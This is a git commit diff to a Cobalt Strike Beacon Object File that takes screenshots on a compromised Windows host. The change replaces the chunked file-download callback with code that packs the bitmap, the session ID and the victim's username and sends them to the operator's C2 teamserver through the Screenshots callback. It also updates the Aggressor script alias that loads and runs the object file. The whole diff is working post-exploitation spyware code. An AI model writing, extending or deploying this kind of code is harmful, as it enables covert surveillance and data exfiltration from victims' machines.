Modified tool to send screenshot to Cobalt Strike's Screenshots tab instead of Downloads. It should be noted that it doesn't render in the Cobalt Strike GUI since it's not in JPG format
This commit is contained in:
parent
263b680944
commit
f6fd0e6738
|
@ -5,136 +5,77 @@
|
|||
#pragma comment(lib, "User32.lib")
|
||||
#pragma comment(lib, "Gdi32.lib")
|
||||
|
||||
char downloadfilename[] = "screenshot.bmp";
|
||||
/*Download File*/
|
||||
void downloadFile(char* fileName, int downloadFileNameLength, char* returnData, int fileSize) {
|
||||
/*Download Screenshot*/
|
||||
void downloadScreenshot(char* jpg, int jpgLen, int session, char* windowTitle, int titleLen, char* username, int usernameLen) {
|
||||
// Function modified by @BinaryFaultline
|
||||
|
||||
//Intializes random number generator to create fileId
|
||||
time_t t;
|
||||
MSVCRT$srand((unsigned)MSVCRT$time(&t));
|
||||
int fileId = MSVCRT$rand();
|
||||
// This data helped me figure out the C code to download a screenshot. It was found in the BOF.NET code here: https://github.com/CCob/BOF.NET/blob/2da573a4a2a760b00e66cd051043aebb2cfd3182/managed/BOFNET/BeaconObject.cs
|
||||
// Special thanks to CCob doing the research around the BeaconOutput options, making this much easier for me.
|
||||
|
||||
//8 bytes for fileId and fileSize
|
||||
int messageLength = downloadFileNameLength + 8;
|
||||
// private void WriteSessionUserNameTitle(BinaryWriter bw, int session, string userName, string title) {
|
||||
// bw.Write(session);
|
||||
// bw.Write(title.Length);
|
||||
// bw.Write(Encoding.UTF8.GetBytes(title));
|
||||
// bw.Write(userName.Length);
|
||||
// bw.Write(Encoding.UTF8.GetBytes(userName));
|
||||
// }
|
||||
|
||||
// var screenshotCallback = new BinaryWriter(new MemoryStream());
|
||||
// screenshotCallback.Write(jpgData.Length);
|
||||
// screenshotCallback.Write(jpgData);
|
||||
// WriteSessionUserNameTitle(screenshotCallback, session, userName, title);
|
||||
int messageLength = 4 + jpgLen + 4 + 4 + titleLen + 4 + usernameLen;
|
||||
char* packedData = (char*)MSVCRT$malloc(messageLength);
|
||||
|
||||
//pack on fileId as 4-byte int first
|
||||
packedData[0] = (fileId >> 24) & 0xFF;
|
||||
packedData[1] = (fileId >> 16) & 0xFF;
|
||||
packedData[2] = (fileId >> 8) & 0xFF;
|
||||
packedData[3] = fileId & 0xFF;
|
||||
// //pack on jpgLen/fileSize as 4-byte int second
|
||||
packedData[0] = jpgLen & 0xFF;
|
||||
packedData[1] = (jpgLen >> 8) & 0xFF;
|
||||
packedData[2] = (jpgLen >> 16) & 0xFF;
|
||||
packedData[3] = (jpgLen >> 24) & 0xFF;
|
||||
|
||||
//pack on fileSize as 4-byte int second
|
||||
packedData[4] = (fileSize >> 24) & 0xFF;
|
||||
packedData[5] = (fileSize >> 16) & 0xFF;
|
||||
packedData[6] = (fileSize >> 8) & 0xFF;
|
||||
packedData[7] = fileSize & 0xFF;
|
||||
int packedIndex = 4;
|
||||
|
||||
int packedIndex = 8;
|
||||
// //pack on the bytes of jpg/returnData
|
||||
for (int i = 0; i < jpgLen; i++) {
|
||||
packedData[packedIndex] = jpg[i];
|
||||
packedIndex++;
|
||||
}
|
||||
|
||||
//pack on session as 4-byte int first
|
||||
packedData[packedIndex] = session & 0xFF;
|
||||
packedData[packedIndex + 1] = (session >> 8) & 0xFF;
|
||||
packedData[packedIndex + 2] = (session >> 16) & 0xFF;
|
||||
packedData[packedIndex + 3] = (session >> 24) & 0xFF;
|
||||
|
||||
//pack on the file name last
|
||||
for (int i = 0; i < downloadFileNameLength; i++) {
|
||||
packedData[packedIndex] = fileName[i];
|
||||
//pack on titleLength as 4-byte int second
|
||||
packedData[packedIndex + 4] = titleLen & 0xFF;
|
||||
packedData[packedIndex + 5] = (titleLen >> 8) & 0xFF;
|
||||
packedData[packedIndex + 6] = (titleLen >> 16) & 0xFF;
|
||||
packedData[packedIndex + 7] = (titleLen >> 24) & 0xFF;
|
||||
|
||||
packedIndex += 8;
|
||||
|
||||
//pack on the bytes of title
|
||||
for (int i = 0; i < titleLen; i++) {
|
||||
packedData[packedIndex] = windowTitle[i];
|
||||
packedIndex++;
|
||||
}
|
||||
|
||||
BeaconOutput(CALLBACK_FILE, packedData, messageLength);
|
||||
//pack on userLength as 4-byte int second
|
||||
packedData[packedIndex] = usernameLen & 0xFF;
|
||||
packedData[packedIndex + 1] = (usernameLen >> 8) & 0xFF;
|
||||
packedData[packedIndex + 2] = (usernameLen >> 16) & 0xFF;
|
||||
packedData[packedIndex + 3] = (usernameLen >> 24) & 0xFF;
|
||||
|
||||
packedIndex += 4;
|
||||
|
||||
if (fileSize > (1024 * 900)) {
|
||||
|
||||
//Lets see how many times this constant goes into our file size, then add one (because if it doesn't go in at all, we still have one chunk)
|
||||
int numOfChunks = (fileSize / (1024 * 900)) + 1;
|
||||
int index = 0;
|
||||
int chunkSize = 1024 * 900;
|
||||
|
||||
while (index < fileSize) {
|
||||
if (fileSize - index > chunkSize) {//We have plenty of room, grab the chunk and move on
|
||||
|
||||
/*First 4 are the fileId
|
||||
then account for length of file
|
||||
then a byte for the good-measure null byte to be included
|
||||
then lastly is the 4-byte int of the fileSize*/
|
||||
int chunkLength = 4 + chunkSize;
|
||||
char* packedChunk = (char*)MSVCRT$malloc(chunkLength);
|
||||
|
||||
//pack on fileId as 4-byte int first
|
||||
packedChunk[0] = (fileId >> 24) & 0xFF;
|
||||
packedChunk[1] = (fileId >> 16) & 0xFF;
|
||||
packedChunk[2] = (fileId >> 8) & 0xFF;
|
||||
packedChunk[3] = fileId & 0xFF;
|
||||
|
||||
int chunkIndex = 4;
|
||||
|
||||
//pack on the file name last
|
||||
for (int i = index; i < index + chunkSize; i++) {
|
||||
packedChunk[chunkIndex] = returnData[i];
|
||||
chunkIndex++;
|
||||
}
|
||||
|
||||
BeaconOutput(CALLBACK_FILE_WRITE, packedChunk, chunkLength);
|
||||
|
||||
}
|
||||
else {//This chunk is smaller than the chunkSize, so we have to be careful with our measurements
|
||||
|
||||
int lastChunkLength = fileSize - index + 4;
|
||||
char* lastChunk = (char*)MSVCRT$malloc(lastChunkLength);
|
||||
|
||||
//pack on fileId as 4-byte int first
|
||||
lastChunk[0] = (fileId >> 24) & 0xFF;
|
||||
lastChunk[1] = (fileId >> 16) & 0xFF;
|
||||
lastChunk[2] = (fileId >> 8) & 0xFF;
|
||||
lastChunk[3] = fileId & 0xFF;
|
||||
int lastChunkIndex = 4;
|
||||
|
||||
//pack on the file name last
|
||||
for (int i = index; i < fileSize; i++) {
|
||||
lastChunk[lastChunkIndex] = returnData[i];
|
||||
lastChunkIndex++;
|
||||
}
|
||||
BeaconOutput(CALLBACK_FILE_WRITE, lastChunk, lastChunkLength);
|
||||
}
|
||||
|
||||
index = index + chunkSize;
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
else {
|
||||
|
||||
/*first 4 are the fileId
|
||||
then account for length of file
|
||||
then a byte for the good-measure null byte to be included
|
||||
then lastly is the 4-byte int of the fileSize*/
|
||||
int chunkLength = 4 + fileSize;
|
||||
char* packedChunk = (char*)MSVCRT$malloc(chunkLength);
|
||||
|
||||
//pack on fileId as 4-byte int first
|
||||
packedChunk[0] = (fileId >> 24) & 0xFF;
|
||||
packedChunk[1] = (fileId >> 16) & 0xFF;
|
||||
packedChunk[2] = (fileId >> 8) & 0xFF;
|
||||
packedChunk[3] = fileId & 0xFF;
|
||||
int chunkIndex = 4;
|
||||
|
||||
//pack on the file name last
|
||||
for (int i = 0; i < fileSize; i++) {
|
||||
packedChunk[chunkIndex] = returnData[i];
|
||||
chunkIndex++;
|
||||
}
|
||||
|
||||
BeaconOutput(CALLBACK_FILE_WRITE, packedChunk, chunkLength);
|
||||
//pack on the bytes of user
|
||||
for (int i = 0; i < usernameLen; i++) {
|
||||
packedData[packedIndex] = username[i];
|
||||
packedIndex++;
|
||||
}
|
||||
|
||||
|
||||
//We need to tell the teamserver that we are done writing to this fileId
|
||||
char packedClose[4];
|
||||
|
||||
//pack on fileId as 4-byte int first
|
||||
packedClose[0] = (fileId >> 24) & 0xFF;
|
||||
packedClose[1] = (fileId >> 16) & 0xFF;
|
||||
packedClose[2] = (fileId >> 8) & 0xFF;
|
||||
packedClose[3] = fileId & 0xFF;
|
||||
BeaconOutput(CALLBACK_FILE_CLOSE, packedClose, 4);
|
||||
|
||||
BeaconOutput(CALLBACK_SCREENSHOT, packedData, messageLength);
|
||||
return;
|
||||
}
|
||||
|
||||
|
@ -152,7 +93,7 @@ BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
|
|||
#pragma endregion
|
||||
|
||||
|
||||
BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName)
|
||||
BOOL SaveHBITMAPToFile(HBITMAP hBitmap)
|
||||
{
|
||||
HDC hDC;
|
||||
int iBits;
|
||||
|
@ -226,8 +167,18 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName)
|
|||
memcpy(bmpdata, &bmfHdr, sizeof(BITMAPFILEHEADER));
|
||||
memcpy(((char*)bmpdata) + sizeof(BITMAPFILEHEADER), lpbi, dwDIBSize);
|
||||
|
||||
// The CALLBACK_SCREENSHOT takes sessionId, title (window title in default CS screenshot fork&run), username, so we need to populate those
|
||||
// Since the original author didn't do any window enumeration, I am not going through the effort of doing that enumeration, instead it's hardcoded
|
||||
DWORD session = -1;
|
||||
KERNEL32$ProcessIdToSessionId(KERNEL32$GetCurrentProcessId(), &session);
|
||||
char* user;
|
||||
user = (char*)getenv("USERNAME");
|
||||
char title[] = "Right-click this and Save to view";
|
||||
|
||||
int userLength = MSVCRT$_snprintf(NULL,0,"%s",user);
|
||||
int titleLength = MSVCRT$_snprintf(NULL,0,"%s",title);
|
||||
|
||||
downloadFile((char*)lpszFileName, sizeof(lpszFileName), (char*)bmpdata, (int)(sizeof(BITMAPFILEHEADER) + dwDIBSize));
|
||||
downloadScreenshot((char*)bmpdata, (int)(sizeof(BITMAPFILEHEADER) + dwDIBSize), session,(char*)title, titleLength, (char*)user, userLength);
|
||||
//WriteFile(fh, (LPSTR)bmpdata, sizeof(BITMAPFILEHEADER)+ dwDIBSize, &dwWritten, NULL);
|
||||
|
||||
/* clean up */
|
||||
|
@ -240,10 +191,6 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName)
|
|||
#ifdef BOF
|
||||
void go(char* buff, int len) {
|
||||
datap parser;
|
||||
char * downloadfilename;
|
||||
BeaconDataParse(&parser, buff, len);
|
||||
downloadfilename = BeaconDataExtract(&parser, NULL);
|
||||
BeaconPrintf(0x0, "[*] Tasked beacon to printscreen and save to %s",downloadfilename);
|
||||
int x1, y1, x2, y2, w, h;
|
||||
// get screen dimensions
|
||||
x1 = GetSystemMetrics(SM_XVIRTUALSCREEN);
|
||||
|
@ -270,11 +217,10 @@ void go(char* buff, int len) {
|
|||
CloseClipboard();
|
||||
*/
|
||||
|
||||
BeaconPrintf(0x0, "[+] PrintScreen saved to bitmap...");
|
||||
LPCSTR filename = (LPCSTR)downloadfilename;
|
||||
SaveHBITMAPToFile(hBitmap, (LPCTSTR)filename);
|
||||
BeaconPrintf(0x0, "[+] Saving bitmap screenshot to Screenshots tab...");
|
||||
BeaconPrintf(0x0, "[*] Currently Cobalt Strike's Screenshots tab only supports rendering JPG files, so you need to right-click and \"Save\"...");
|
||||
SaveHBITMAPToFile(hBitmap);
|
||||
|
||||
//BeaconPrintf(0x0, "[+] Printscreen bitmap saved to %s",downloadfilename);
|
||||
// clean up
|
||||
SelectObject(hDC, old_obj);
|
||||
DeleteDC(hDC);
|
||||
|
|
|
@ -47,6 +47,7 @@ DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
|
|||
#define CALLBACK_FILE 0x02
|
||||
#define CALLBACK_FILE_WRITE 0x08
|
||||
#define CALLBACK_FILE_CLOSE 0x09
|
||||
#define CALLBACK_SCREENSHOT 0x03
|
||||
|
||||
DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
|
||||
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
|
||||
|
|
|
@ -231,6 +231,10 @@ DECLSPEC_IMPORT BOOL WINAPI KERNEL32$IsProcessorFeaturePresent(DWORD ProcessorFe
|
|||
DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetUserNameW(LPWSTR lpBuffer, LPDWORD pcbBuffer);
|
||||
|
||||
|
||||
DECLSPEC_IMPORT char* WINAPI MSVCRT$getenv(const char *varname);
|
||||
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetCurrentProcessId();
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ProcessIdToSessionId(DWORD dwProcessId, DWORD *pSessionId);
|
||||
|
||||
|
||||
|
||||
|
||||
|
@ -358,6 +362,11 @@ DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetUserNameW(LPWSTR lpBuffer, LPDWORD pcbBu
|
|||
#define GetUserNameW ADVAPI32$GetUserNameW
|
||||
#define IsProcessorFeaturePresent KERNEL32$IsProcessorFeaturePresent
|
||||
|
||||
|
||||
#define getenv MSVCRT$getenv
|
||||
#define GetCurrentProcessId KERNEL32$GetCurrentProcessId
|
||||
#define ProcessIdToSession KERNEL32$ProcessIdToSessionId
|
||||
|
||||
#else
|
||||
|
||||
#endif
|
||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -6,23 +6,17 @@ beacon_command_register(
|
|||
);
|
||||
|
||||
alias screenshot_bof {
|
||||
local('$barch $handle $data $args $target_pid');
|
||||
if (size(@_) != 2)
|
||||
{
|
||||
berror($1, "Please specify a filename. e.g. screenshot_bof screen.bmp");
|
||||
return;
|
||||
}
|
||||
local('$bid $barch $handle $data $args $target_pid');
|
||||
$bid = $1;
|
||||
# figure out the arch of this session
|
||||
$barch = barch($1);
|
||||
$barch = barch($bid);
|
||||
# read in the right BOF file
|
||||
$handle = openf(script_resource("ScreenshotBOF. $+ $barch $+ .obj"));
|
||||
$data = readb($handle, -1);
|
||||
closef($handle);
|
||||
|
||||
$args = bof_pack($1, "z",$2);
|
||||
|
||||
# announce what we're doing
|
||||
btask($1, "Running screenshot BOF by (@codex_tf2)");
|
||||
btask($bid, "Running screenshot BOF by (@codex_tf2)", "T1113");
|
||||
# execute it.
|
||||
beacon_inline_execute($1, $data, "go", $args);
|
||||
beacon_inline_execute($bid, $data, "go");
|
||||
}
|
||||
|
|
Binary file not shown.
Loading…
Reference in New Issue